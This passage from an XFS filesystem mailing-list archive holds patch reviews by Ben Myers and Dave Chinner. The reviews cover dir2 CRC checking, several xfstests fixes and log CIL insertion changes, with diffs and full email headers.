for (i = findex - 1; i >= 0; i--) { > + if (bests[i] != cpu_to_be16(NULLDATAOFF)) > + break; > } > + freehdr.nvalid = i + 1; > + logfree = 0; > } else { > + /* Not the last entry, just punch it out. */ > + bests[findex] = cpu_to_be16(NULLDATAOFF); > + logfree = 1; > + } > + > + xfs_dir3_free_hdr_to_disk(free, &freehdr); > + xfs_dir2_free_log_header(tp, fbp); > + > + /* > + * If there are no useful entries left in the block, get rid of the > + * block if we can. > + */ > + if (!freehdr.nused) { > + int error; > + > + error = xfs_dir2_shrink_inode(args, fdb, fbp); > + if (error == 0) { > + fbp = NULL; > + logfree = 0; > + } else if (error != ENOSPC || args->total != 0) > + return error; > /* > - * Data block is not empty, just set the free entry to the new > - * value. > + * It's possible to get ENOSPC if there is no > + * space reservation. In this case some one > + * else will eventually get rid of this block. > */ > - free->bests[findex] = cpu_to_be16(longest); > - logfree = 1; > } > > + Extra line > @@ -1532,20 +1697,26 @@ xfs_dir2_node_addname_int( > if (!fbp) > continue; > free = fbp->b_addr; > - ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC)); > findex = 0; > } > /* > * Look at the current free entry. Is it good enough? > + * > + * The bests initialisation should be wher eteh bufer is read in where the > + * the above branch. But gcc is too stupid to realise that bests > + * iand the freehdr are actually initialised if they are placed and Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 17:23:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0893B7F3F for ; Wed, 24 Jul 2013 17:23:05 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id B2BCE30408A; Wed, 24 Jul 2013 15:23:05 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 80E8A4266DC; Wed, 24 Jul 2013 17:23:05 -0500 (CDT) Date: Wed, 24 Jul 2013 17:23:05 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 11/48] xfs: add CRC checking to dir2 data blocks Message-ID: <20130724222305.GT3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-12-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-12-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:34AM +1000, Dave Chinner wrote: > From: Dave Chinner > > This addition follows the same pattern as the dir2 block CRCs. > Corresponds to 33363feed16. > Signed-off-by: Dave Chinner ... > diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c > index c79199a..18eabd1 100644 > --- a/libxfs/xfs_dir2_block.c > +++ b/libxfs/xfs_dir2_block.c > @@ -59,7 +59,7 @@ xfs_dir3_block_verify( > if (hdr3->magic != cpu_to_be32(XFS_DIR2_BLOCK_MAGIC)) > return false; > } > - if (__xfs_dir2_data_check(NULL, bp)) > + if (__xfs_dir3_data_check(NULL, bp)) > return false; > return true; > } > @@ -535,7 +535,7 @@ xfs_dir2_block_addname( > xfs_dir2_data_log_header(tp, bp); > xfs_dir2_block_log_tail(tp, bp); > xfs_dir2_data_log_entry(tp, bp, dep); > - xfs_dir2_data_check(dp, bp); > + xfs_dir3_data_check(dp, bp); > return 0; > } Changes to xfs_dir2_block_getdents in the kernel are not included here. Again, it seems that we don't have this function in userspace. > diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c > index 66aab07..69841df 100644 > --- a/libxfs/xfs_dir2_data.c > +++ b/libxfs/xfs_dir2_data.c > @@ -25,7 +25,7 @@ > * Return 0 is the buffer is good, otherwise an error. > */ > int > -__xfs_dir2_data_check( > +__xfs_dir3_data_check( > struct xfs_inode *dp, /* incore inode pointer */ > struct xfs_buf *bp) /* data block's buffer */ > { > @@ -61,6 +61,7 @@ __xfs_dir2_data_check( > endp = (char *)lep; > break; > case XFS_DIR2_DATA_MAGIC: > + case XFS_DIR3_DATA_MAGIC: The endian swap was done in the switch parens in the kernel > @@ -196,7 +203,7 @@ xfs_dir2_data_verify( > * format buffer or a data format buffer on readahead. > */ > static void > -xfs_dir2_data_reada_verify( > +xfs_dir3_data_reada_verify( > struct xfs_buf *bp) > { > struct xfs_mount *mp = bp->b_target->bt_mount; > @@ -209,7 +216,8 @@ xfs_dir2_data_reada_verify( > bp->b_ops->verify_read(bp); > return; > case XFS_DIR2_DATA_MAGIC: > - xfs_dir2_data_verify(bp); > + case XFS_DIR3_DATA_MAGIC: > + xfs_dir3_data_verify(bp); Also here the endian swap was done differently in the kernel. > diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c > index a1df347..0f848b4 100644 > --- a/libxfs/xfs_dir2_leaf.c > +++ b/libxfs/xfs_dir2_leaf.c > @@ -369,6 +373,7 @@ xfs_dir2_leaf_addname( > __be16 *tagp; /* end of data entry */ > xfs_trans_t *tp; /* transaction pointer */ > xfs_dir2_db_t use_block; /* data block number */ > + struct xfs_dir2_data_free *bf; /* bestfree table */ > > trace_xfs_dir2_leaf_addname(args); Seem to be missing changes to xfs_dir2_leaf_readbuf, which we don't have in userspace... Looks fine. Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 18:00:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 090FA7F3F for ; Wed, 24 Jul 2013 18:00:15 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id D3CBB8F8033; Wed, 24 Jul 2013 16:00:14 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 8D98D4266DC; Wed, 24 Jul 2013 18:00:14 -0500 (CDT) Date: Wed, 24 Jul 2013 18:00:14 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 12/48] xfs: add CRC checking to dir2 leaf blocks Message-ID: <20130724230014.GU3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-13-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-13-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:35AM +1000, Dave Chinner wrote: > From: Dave Chinner > > This addition follows the same pattern as the dir2 block CRCs. > Seeing as both LEAF1 and LEAFN types need to changed at the same > time, this is a pretty large amount of change. leaf block headers > need to be abstracted away from the on-disk structures (struct > xfs_dir3_icleaf_hdr), as do the base leaf entry locations. > > This header abstract allows the in-core header and leaf entry > location to be passed around instead of the leaf block itself. This > saves a lot of converting individual variables from on-disk format > to host format where they are used, so there's a good chance that > the compiler will be able to produce much more optimal code as it's > not having to byteswap variables all over the place. > > Signed-off-by: Dave Chinner Looks good. Note that xfs_dir3_leafn_read_verify and xfs_dir3_leafn_write_verify are static in the kernel but not in userspace. Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 18:07:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6FE4E7F3F for ; Wed, 24 Jul 2013 18:07:16 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id E2465AC002; Wed, 24 Jul 2013 16:07:12 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6BE524266DC; Wed, 24 Jul 2013 18:07:12 -0500 (CDT) Date: Wed, 24 Jul 2013 18:07:12 -0500 From: Ben Myers To: Josef Bacik Cc: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: make the scratch device for generic/256 slightly larger Message-ID: <20130724230712.GV3111@sgi.com> References: <1372792638-23957-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372792638-23957-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 02, 2013 at 03:17:18PM -0400, Josef Bacik wrote: > This is similar to a previous fix I sent. 1 gig makes us do mixed file block > groups for btrfs, so these enospc tests will usually fail because we don't have > space for metadata, which is the case for this test. So jack the size up to > 1.5gig so that btrfs can do its normal thing and pass the test. Thanks, > > Signed-off-by: Josef Bacik Looks fine to me. Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 18:09:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E33B47CBF for ; Wed, 24 Jul 2013 18:09:05 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id BCFAA304043; Wed, 24 Jul 2013 16:09:02 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9BCB54266DC; Wed, 24 Jul 2013 18:09:02 -0500 (CDT) Date: Wed, 24 Jul 2013 18:09:02 -0500 From: Ben Myers To: Koen De Wit Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: fix _mount_ops_filter() to support $TEST_DIR containing -o Message-ID: <20130724230902.GW3111@sgi.com> References: <1372801497-3941-1-git-send-email-koen.de.wit@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372801497-3941-1-git-send-email-koen.de.wit@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 02, 2013 at 11:44:57PM +0200, Koen De Wit wrote: > If multiple mount options are given with multiple -o parameters, > _mount_ops_filter concatenates them by replacing all -o's with a comma > (except for the first -o). > > If $TEST_DIR contains "-o" (e.g. /mnt/test-os/) you get errors like this: > > # ./check generic/002 > mount: mount point /mnt/test,s/ does not exist > common/rc: retrying test device mount with external set > mount: mount point /mnt/test,s/ does not exist > common/rc: could not mount /dev/sdc3 on /mnt/test-os/ > > Fix it by only replacing -o's that are preceded by at least one space. > > Signed-off-by: Koen De Wit Reviewed-by: Ben Myers From bpm@sgi.com Wed Jul 24 18:29:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A5E4A7CBF for ; Wed, 24 Jul 2013 18:29:52 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E94B8F8035; Wed, 24 Jul 2013 16:29:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5F0374266DC; Wed, 24 Jul 2013 18:29:49 -0500 (CDT) Date: Wed, 24 Jul 2013 18:29:49 -0500 From: Ben Myers To: Liu Bo Cc: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] Xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Message-ID: <20130724232949.GX3111@sgi.com> References: <1372844780-31845-1-git-send-email-bo.li.liu@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372844780-31845-1-git-send-email-bo.li.liu@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 03, 2013 at 05:46:20PM +0800, Liu Bo wrote: > This is to test whether snapshot-aware defrag can work well on partial extents. > > Signed-off-by: Liu Bo > --- > tests/btrfs/308 | 93 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/308.out | 2 + > tests/btrfs/group | 1 + > 3 files changed, 96 insertions(+), 0 deletions(-) > create mode 100755 tests/btrfs/308 > create mode 100644 tests/btrfs/308.out > > diff --git a/tests/btrfs/308 b/tests/btrfs/308 > new file mode 100755 > index 0000000..b3dd39c > --- /dev/null > +++ b/tests/btrfs/308 > @@ -0,0 +1,93 @@ > +#! /bin/bash > +# BTRFS QA Test No. 308 > +# > +# Test if snapshot-aware defrag can work well on partial extents, ie. > +# extent_offset is not zero. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Oracle. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > + > +# Modify as appropriate. > +_supported_fs generic _supported_fs btrfs Since this is btrfs specific, I think _supported_fs should be btrfs. I didn't see anything obviously wrong with the rest of this, but I'd rather see a review from a btrfs expert. Reviewed-by: Ben Myers From david@fromorbit.com Wed Jul 24 18:58:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0B71C7CBF for ; Wed, 24 Jul 2013 18:58:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97548304077 for ; Wed, 24 Jul 2013 16:58:20 -0700 (PDT) X-ASG-Debug-ID: 1374710298-04bdf02f2123f00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id IHJqicgNDhI0SHW2 for ; Wed, 24 Jul 2013 16:58:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhcJAKBp8FF5LPxH/2dsb2JhbABbgwa5L4QqgRCBFRd0giQBAQQBOhwjBQsIAxgJJQ8FJQMhE4gKBboEFo9nB4QAA5dekU6DJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 09:27:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V28w7-0002sb-96; Thu, 25 Jul 2013 09:57:39 +1000 Date: Thu, 25 Jul 2013 09:57:39 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: 091,240,268 fix for xfs on 4k sector hard drive Message-ID: <20130724235739.GR19986@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: 091,240,268 fix for xfs on 4k sector hard drive References: <20130724143208.34b77534@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130724143208.34b77534@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374710298 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 24, 2013 at 02:32:08PM -0400, Dwight Engen wrote: > Tests 091,240, and 268 are failing on my 4k sector hard disk. The dio writes > from fsx and aiodio_sparse2 are failing on xfs with EINVAL which is returned > from the check at the top of xfs_file_dio_aio_write(). > > The fix is to use blockdev -getpbsz to get the physical sector size instead > of the logical sector size. This makes 091 and 268 work. 240 will not run > on a 4k drive since fs block size == device block size. Tested against > xfs,ext4, and btrfs. What's the logical sector size of the drive? If it's 4k, then blockdev --getss should be returning 4k. If it's not, then either the drive is reporting that it supports 512 bytes sectors when it doesn't (i.e. the drive is broken) or blockdev is returning the wrong information (i.e. blockdev is broken).... What does mkfs.xfs output on that device? > rm -f $TEST_DIR/aiodio_sparse > > -logical_block_size=`blockdev --getss $TEST_DEV` > +logical_block_size=`blockdev --getpbsz $TEST_DEV` FWIW, that doesn't make much sense - putting the physical block size into a variable named "logical_block_size"..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 19:21:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DF3957CBF for ; Wed, 24 Jul 2013 19:21:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C8EBAC002 for ; Wed, 24 Jul 2013 17:21:13 -0700 (PDT) X-ASG-Debug-ID: 1374711671-04cb6c2e9f24850001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id oHuuNLZrfAEECpYf for ; Wed, 24 Jul 2013 17:21:11 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhAJAH1u8FF5LPxH/2dsb2JhbABbgwa5L4U6gRUXdIIkAQEFOhwjEAgDGAklDwUlAyETiA+5dhaPZweDEm4Dl16RToMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 09:51:10 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V29Iq-0002vk-3d; Thu, 25 Jul 2013 10:21:08 +1000 Date: Thu, 25 Jul 2013 10:21:08 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130725002108.GA11222@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EFD68A.40400@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374711671 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 24, 2013 at 08:28:42AM -0500, Mark Tinguely wrote: > If you could please redo the test and get the stack traces with > /proc/sysrq-trigger and if you kernel works with crash, a core dump. > For the stack trace, I mostly want to know if it has several > "xlog_grant_head_wait" entries in it, because ... > > ...I seemed to have triggered a couple log space reservation hangs > with fsstress one XFS partition and a mega-copy on another > partition, but will have to graft the new XFS tree onto a Linux 3.10 > kernel to get crash (and one of my sata controllers) to work again. They are unrelated to this patchset. Somewhere in the code there is a mismatch between what we reserve as the base requirement for an actual log write and what the CIL actually steals, and that is, most likely, what is leading to log hangs. This is demonstratable in the fact that generic/070 on 512 byte block size filesystems regularly hits a transaction reservation exhausted assert failure on transaction commit of the periodic log dummy transaction on my test rigs. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 19:23:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 409BC7CBF for ; Wed, 24 Jul 2013 19:23:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE210304039 for ; Wed, 24 Jul 2013 17:23:54 -0700 (PDT) X-ASG-Debug-ID: 1374711833-04bdf02f2125970001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 2Tg8teFNeoSMd1iU for ; Wed, 24 Jul 2013 17:23:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhAJAHRv8FF5LPxH/2dsb2JhbABbgwa5L4U6gRUXdIIkAQEFJxMcIxAIAxUDCSUPBSUDIROID7l+Fo5CgSUHgxJuA5dekU6DJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 09:53:33 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V29L8-0002wE-Vi; Thu, 25 Jul 2013 10:23:31 +1000 Date: Thu, 25 Jul 2013 10:23:30 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 46/49] xfs: Combine CIL insert and prepare passes Message-ID: <20130725002330.GB11222@dastard> X-ASG-Orig-Subj: Re: [PATCH 46/49] xfs: Combine CIL insert and prepare passes References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-47-git-send-email-david@fromorbit.com> <51EEF3D4.2000201@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EEF3D4.2000201@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374711833 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Jul 23, 2013 at 04:21:24PM -0500, Mark Tinguely wrote: > On 07/19/13 01:25, Dave Chinner wrote: > >From: Dave Chinner > > > >Now that all the log item preparation and formatting is done under > >the CIL lock, we can get rid of the intermediate log vector chain > >used to track items to be inserted into the CIL. > > > >We can already find all the items to be committed from the > >transaction handle, so as long as we attach the log vectors to the > >item before we insert the items into the CIL, we don't need to > >create a log vector chain to pass around. > > > >This means we can move all the item insertion code into and optimise > >it into a pair of simple passes across all the items in the > >transaction. The first pass does the formatting and accounting, the > >second inserts them all into the CIL. > > > >We keep this two pass split so that we can separate the CIL > >insertion - which must be done under the CIL spinlock - from the > >formatting. We could insert each item into the CIL with a single > >pass, but that massively increases the number of times we have to > >grab the CIL spinlock. It is much more efficient (and hence > >scalable) to do a batch operation and insert all objects in a single > >lock grab. > > > >Signed-off-by: Dave Chinner > > ... > > >@@ -357,10 +341,8 @@ xlog_cil_insert_items( > > * during the transaction commit. > > */ > > if (ctx->ticket->t_curr_res == 0) { > >- /* first commit in checkpoint, steal the header reservation */ > >- ASSERT(ticket->t_curr_res>= ctx->ticket->t_unit_res + len); > > ^^ is the ctx ticket overflow caught somewhere else? ^^^^ Of course. It's caught in same check that catches all other transaction overruns - in the caller after this function returns. And it prints the ticket now, too, which means it's a far more functional check that the current one... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 24 19:48:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2E5687CBF for ; Wed, 24 Jul 2013 19:48:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BA571AC003 for ; Wed, 24 Jul 2013 17:48:54 -0700 (PDT) X-ASG-Debug-ID: 1374713332-04cb6c2e9d26400001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FnyUE4AgZWurxCKL for ; Wed, 24 Jul 2013 17:48:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: An8IAFZ18FF5LPxH/2dsb2JhbABbgwaDKLYMhTqBFRd0giQBAQU6HCMQCAMOBwMJJQ8FJQMhE4gPuhEWj2cHgxJuA5dekU6DJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Jul 2013 10:18:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V29jB-0002zA-As; Thu, 25 Jul 2013 10:48:21 +1000 Date: Thu, 25 Jul 2013 10:48:21 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees Message-ID: <20130725004821.GC11222@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-4-git-send-email-david@fromorbit.com> <20130723182648.GI3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130723182648.GI3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374713332 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by 